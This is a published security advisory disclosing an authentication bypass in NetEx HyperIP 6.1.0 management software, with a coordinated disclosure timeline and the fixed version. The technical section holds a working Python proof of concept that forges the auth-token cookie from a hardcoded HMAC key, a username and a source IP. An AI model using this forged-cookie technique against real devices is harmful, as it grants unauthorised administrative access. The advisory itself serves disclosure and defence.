KL-001-2018-002 : NetEx HyperIP Authentication Bypass

Title: NetEx HyperIP Authentication Bypass
Advisory ID: KL-001-2018-002
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-002.txt


1. Vulnerability Details

     Affected Vendor: NetEx
     Affected Product: HyperIP
     Affected Version: 6.1.0
     Platform: Embedded Linux
     CWE Classification: CWE-592: Authentication Bypass Issues
     Impact: Authentication Bypass
     Attack vector: HTTPS

2. Vulnerability Description

     Authentication for the management application can be bypassed
     by recreating the algorithm used to create predictable valid
     cookies.

3. Technical Description

     Authentication can be bypassed using the function below.

       >>> from hashlib import md5
       >>> from hmac import new
       >>> def bypass_auth(user,srcip):
       ...   key = new('$#^Sub/s$',user+srcip,md5).hexdigest()
       ...   token = new(key,user+srcip,md5).hexdigest()
       ...   return token
       ...

     The attacker first creates a cookie token.

       >>> print bypass_auth('hipadmin','[redacted]')
       b6b73844ce4df64f459948c5475a1096

     Then the attacker can submit requests containing that value as
     the auth-token cookie, which will be trusted by the application.

4. Mitigation and Remediation Recommendation

     The vendor has released version 6.1.1 of HyperIP, which they state
     addresses this vulnerability.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.24 - KoreLogic submits vulnerability details to NetEx.
     2017.07.24 - NetEx confirms receipt.
     2017.08.16 - NetEx informs KoreLogic that this and other reported
                  vulnerabilities have been addressed in the forthcoming
                  release. ETA as of yet undetermined.
     2017.09.05 - 30 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.09.19 - NetEx informs KoreLogic that the forthcoming release
                  6.1.1 is expected to ship at the end of January 2018.
     2017.09.26 - 45 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2017.12.01 - 90 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.17 - 120 business days have elapsed since the vulnerability
                  was reported to NetEx.
     2018.01.23 - NetEx notifies KoreLogic that the HyperIP 6.1.1 release
                  has gone live.
     2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.


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KoreLogic, Inc. and are licensed under a Creative Commons
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